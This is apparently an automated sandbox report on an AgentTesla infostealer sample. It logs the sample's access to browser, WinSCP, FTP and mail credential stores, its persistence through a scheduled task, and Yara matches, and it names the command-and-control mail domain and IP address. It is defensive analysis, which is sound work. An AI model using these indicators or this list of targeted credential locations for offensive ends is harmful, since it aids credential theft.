Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Queries volume information: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Queries volume information: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 10.2.NxmtwwVGOtEdjd.exe.45296a0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.NxmtwwVGOtEdjd.exe.4500680.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_16.exe.41d8730.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.NxmtwwVGOtEdjd.exe.45296a0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.NxmtwwVGOtEdjd.exe.4500680.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_16.exe.41d8730.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2898350883.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1787617220.0000000004500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1723431532.00000000041AF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000000F.00000002.2902484873.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2901886951.0000000002ECA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2901886951.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2902484873.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002A_16.exe PID: 7544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: NxmtwwVGOtEdjd.exe PID: 7972, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 00000009.00000002.2901886951.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2902484873.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002A_16.exe PID: 7544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: NxmtwwVGOtEdjd.exe PID: 7972, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 10.2.NxmtwwVGOtEdjd.exe.45296a0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.NxmtwwVGOtEdjd.exe.4500680.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_16.exe.41d8730.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.NxmtwwVGOtEdjd.exe.45296a0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.NxmtwwVGOtEdjd.exe.4500680.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_16.exe.41d8730.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_16.exe.41af710.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2898350883.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1787617220.0000000004500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1723431532.00000000041AF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000000F.00000002.2902484873.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2901886951.0000000002ECA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2901886951.0000000002E71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2902484873.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002A_16.exe PID: 7544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: NxmtwwVGOtEdjd.exe PID: 7972, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 Scheduled Task/Job	111 Process Injection	1 Masquerading	2 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	1 Credentials in Registry	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	Security Account Manager	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Data from Local System	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
LisectAVT_2403002A_16.exe	100%	Avira	TR/Kryptik.mzsma
LisectAVT_2403002A_16.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	100%	Avira	TR/Kryptik.mzsma
C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.apache.org/licenses/LICENSE-2.0	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://mail.mbarieservicesltd.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.mbarieservicesltd.com	199.79.62.115	true	true		unknown
171.39.242.20.in-addr.arpa	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersG	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	LisectAVT_2403002A_16.exe, 00000000.00000002.1722615685.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp, NxmtwwVGOtEdjd.exe, 0000000A.00000002.1786665418.000000000323E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	LisectAVT_2403002A_16.exe, 00000000.00000002.1726399605.0000000005990000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002A_16.exe, 00000000.00000002.1726982269.0000000007062000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mail.mbarieservicesltd.com	LisectAVT_2403002A_16.exe, 00000009.00000002.2901886951.0000000002ECA000.00000004.00000800.00020000.00000000.sdmp, NxmtwwVGOtEdjd.exe, 0000000F.00000002.2902484873.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
199.79.62.115	mail.mbarieservicesltd.com	United States		394695	PUBLIC-DOMAIN-REGISTRYUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482478
Start date and time:	2024-07-25 23:34:26 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LisectAVT_2403002A_16.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@23/15@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 122 Number of non-executed functions: 22
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: LisectAVT_2403002A_16.exe

Simulations

Behavior and APIs

Time	Type	Description
17:35:16	API Interceptor	22x Sleep call for process: LisectAVT_2403002A_16.exe modified
17:35:19	API Interceptor	55x Sleep call for process: powershell.exe modified
17:35:24	API Interceptor	17x Sleep call for process: NxmtwwVGOtEdjd.exe modified
22:35:20	Task Scheduler	Run new task: NxmtwwVGOtEdjd path: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
199.79.62.115	SQ112613x2614763.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Quote ZBR223378.exe	Get hash	malicious	AgentTesla	Browse
	PO-07172484.exe	Get hash	malicious	AgentTesla	Browse
	PURCHASE ORDER- 6300-2024.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.TrojanLoader.MSIL.DaVinci.Heur.30254.8280.exe	Get hash	malicious	AgentTesla	Browse
	PURCHASE ORDER-6333-2024.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win32.PWSX-gen.21784.812.exe	Get hash	malicious	AgentTesla	Browse
	Quotation - 00645.exe	Get hash	malicious	AgentTesla	Browse
	PRICE REQUEST-717-26072023.exe	Get hash	malicious	AgentTesla	Browse
	PO82107048.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.mbarieservicesltd.com	SQ112613x2614763.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	LisectAVT_2403002A_52.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	SWIFT COPY.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	LisectAVT_2403002B_290.exe	Get hash	malicious	Bdaejec	Browse	74.119.239.234
	LisectAVT_2403002B_465.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	jRlq1fSUW5.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	SecuriteInfo.com.Win32.PWSX-gen.14778.18726.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	bJrO2iUerN.elf	Get hash	malicious	Unknown	Browse	204.11.58.71
	PO#1164031.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	208.91.198.24
	5RQ24SOW EPIRB_TOTAL Marine Services Ltd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	208.91.198.24
	LCWGT83qLa.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223

Process:	C:\Users\user\Desktop\LisectAVT_2403002A_16.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
